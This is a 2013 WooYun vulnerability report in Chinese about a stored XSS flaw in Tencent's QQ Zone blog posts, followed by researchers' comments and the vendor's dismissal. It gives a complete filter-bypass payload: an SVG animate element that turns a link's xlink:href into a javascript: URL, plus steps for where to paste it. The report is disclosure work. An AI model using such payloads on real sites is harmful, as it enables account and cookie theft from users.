当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-027104

漏洞标题:QQ空间、校友存储型XSS漏洞(xss技巧)

相关厂商:腾讯

漏洞作者: Drizzle.Risk

提交时间:2013-06-28 14:00

修复时间:2013-07-01 09:55

公开时间:2013-07-01 09:55

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-28: 细节已通知厂商并且等待厂商处理中
2013-07-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

存储型XSS,扰乱过滤器+Chrmoe的新Payload?还是有点猥琐的..呵呵

详细说明:

好久没看XSS了,前几天无意测试中扰乱了QQ空间日志的过滤器..然后TX也很谨慎,多层过滤的。然后发现SVG标签过滤的不严格.. 就开始猥琐咯...最后还发现一个payload,针对Chrome的,不知道网上有木有..
1.fuzz,找到了一处过滤器扰乱,如图

扰乱过滤器.png


12345<SVG>"<![CDATA[><image xlink:href="]]>


这个没有深究,请TX安全研究人员找原因吧
经过这次扰乱过滤器,可以发出来一些原本不能发出的标签了,比如<script>,比如<svg>等。
2.之后开始各种构造,但是经过广泛的测试,发现二级过滤器(或者随便叫什么名字),依旧很严格..对标签内的属性和标签的内容进行了严格的控制。
3.然后测试到SVG标签时,发现TX似乎对SVG标签没有那么多的限制,猜想可能是因为此标签是H5,很多属性名和内容标签名很非主流..TX忽视了..
4.然后便开始深入研究SVG标签,经过一段时间的研究。发现SVG如果想跨的话,无非是内嵌SCRIPT,或者BUTTON的auto,还有各种on属性之类,这些标签虽然可以绕过发出来,但都由于属性名太招眼被卡死了。
5.然后研究发现SVG标签有这么一个属性,很好玩。SVG支持动画特效,也就是利用一些标签控制其他标签的属性,进而形成动画,或属性变换。
举个例子:

<svg width="8cm" height="3cm"viewBox="0 0 800 300" xmlns="http://www.w3.org/2000/svg" version="1.1"> 
<rect id="RectElement" x="300" y="100" width="300" height="100" fill="rgb(255,255,0)">
<animate attributeName="x" attributeType="XML" begin="0s" dur="9s" fill="freeze" from="300" to="0" />
</rect>
</svg>


上面的animate标签,可以根据一定的变量增量,去动态的改变<rect>的属性x
详情参见:http://www.w3.org/TR/SVG/animate.html
作为一名优秀的白帽子,这种Hiigh爆的东西,是必须要大胆假设,小心求证的。
6.开始大胆假设,或许可以操作一些敏感属性?
7.小心求证
经过查询一些资料,发现之前已经有人有这种想法了..有一些试图改变onmouseover等属性的payload,但是chrome很早版本就修复了。
8.然后不甘心,继续寻找,然后找到了

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">     
<a xlink:href="ForFun" target="_blank">
<animate attributeName="xlink:href" begin="mouseover" to="jaVascRiPt:alert('Hello Drizzle')" ></animate>
<polygon points="0,0 2000,0 2000,2000 0,2000" style="fill:#FFFFFF; stroke:#000000;stroke-width:1">
</polygon>


大家知道,TX必然会重置xlink:href和target的,但是无所谓,我们也可以重置。
就是通过animate标签,将xlink:href重新改为jaVascRiPt:alert('Hello Drizzle'),然后就妥妥的了。
大概就是这么个过程,不知道这个算不算新的Chrome XSS payload?估计应该有很多人知道这个...SVG的确很有趣,但是属性,内嵌标签也多,不同浏览器有不同的解释。另外FF我在测试的时候,也有些奇妙的东西..回头有空再分享..
最后上大图:

hello.png


cookies.png


tips:虽然点击才形成攻击,但我比较菜,我不能,但不代表别人挖不出更牛X的,比如2哥他们..
所以建议TX还是别忽略了..

漏洞证明:

<![><img src="]><img//">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="ForFun" target="_blank">
<animate attributeName="xlink:href" begin="mouseover" to="jaVascRiPt:alert('Hello Drizzle')" ></animate>
<polygon points="0,0 2000,0 2000,2000 0,2000" style="fill:#FFFFFF; stroke:#000000;stroke-width:1">
</polygon>
</a> <!--<![CDATA[><image"]]><img //"></svg>


选择发日志,插入FLASH,然后插入以上代码,直接提交。
注意攻击环境是在Chrome环境下....

修复方案:

俩问题:
1.针对标签过滤器,有逻辑问题
2.针对属性的过滤器,不全面

版权声明:转载请注明来源 Drizzle.Risk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-07-01 09:55

厂商回复:

非常感谢您的报告!但是由于此漏洞测试未能重现,慎重考虑后我们决定还是忽略此报告,仍然感谢。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-06-28 14:08 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    为啥每次发洞,后面都被人加了个括号注释...=.=

  2. 2013-06-28 14:11 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    持续关注,坐等公开

  3. 2013-06-28 14:19 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:89 | 一名普通的phper开发者,关注web安全。)

    最喜欢新姿势了!关注

  4. 2013-06-28 14:37 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @Drizzle.Risk 私信说下

  5. 2013-06-28 14:43 | xcfres54 ( 路人 | Rank:16 漏洞数:3 )

    坐等姿势

  6. 2013-06-28 14:50 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:41 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    等姿势

  7. 2013-06-28 15:09 | B1acken ( 普通白帽子 | Rank:174 漏洞数:29 | 渣渣)

    膜拜大牛

  8. 2013-06-28 15:28 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    @px1624 先看看会不会忽略.. 这个payload很多地方都能跨..=.=

  9. 2013-06-28 15:41 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    坐等公开学习

  10. 2013-06-28 15:42 | BlackWidow7 ( 实习白帽子 | Rank:58 漏洞数:28 | 屌丝~)

    可以看相册吗

  11. 2013-06-28 16:12 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    不要找我要新payload啦..拿不出手的.. 我就那么一说...汗.. 我是小菜,而且这个点击才会X,你们还会要么...等忽略吧.. =.=

  12. 2013-06-28 16:20 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    真奇怪.. TX默默的修复了..?应该还看不到吧..@xsser @腾讯

  13. 2013-06-28 17:08 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @Drizzle.Risk 额。。私信发来 玩玩呗

  14. 2013-06-28 18:25 | Demon ( 普通白帽子 | Rank:121 漏洞数:14 | You are my dream)

    坐等公开!

  15. 2013-06-28 18:29 | 小乐天 ( 实习白帽子 | Rank:64 漏洞数:12 | From KnownSec)

    Mark

  16. 2013-06-28 21:00 | 0x2b ( 实习白帽子 | Rank:51 漏洞数:12 )

    看见标题 我就滚进来了

  17. 2013-06-28 22:07 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @Drizzle.Risk 你咋发现的?

  18. 2013-06-28 22:57 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    @px1624 详情里面写的很详细..

  19. 2013-06-28 23:06 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @Drizzle.Risk 额。。修了额。

  20. 2013-06-28 23:25 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    @px1624 这个payload是不是挺奇葩的 嘿嘿..

  21. 2013-06-29 00:06 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @Drizzle.Risk 修了,看不到效果

  22. 2013-06-29 10:19 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    关注技巧

  23. 2013-06-29 11:43 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    @腾讯 昨天给我发了个漏洞质询,说他们根据我提供的方法,不能还原现场。 下面我大概说下: 我是前段时间发现这个的,然后中间间断性的测试了很多次,包括别人帮忙测试都是OK的,然后昨天提交前当然也重写验证测试了,截图都是那时候截的。然后呢,过了几个小时后,我再测试,payload就没用了,其中有个关键标签被过滤掉了。但是过滤器扰乱还是生效.. 这时候腾讯发来了“漏洞质询”。 我的想法是:直接忽略吧,我不要rank,我也不管为啥那么多天没修,发了之后就过滤了。我表示很费解..也不想深究原因Just make public it.大家一起研究下算了..O_o

  24. 2013-07-01 09:57 | p0di ( 普通白帽子 | Rank:121 漏洞数:17 | 1+1 = 2 ?)

    @Drizzle.Risk 忽略了- -...

  25. 2013-07-09 11:16 | 脚本小伙 ( 实习白帽子 | Rank:52 漏洞数:15 | 小书童)

    我在腾讯安全应急响应中心提交的漏洞也被没有重现!碉堡了!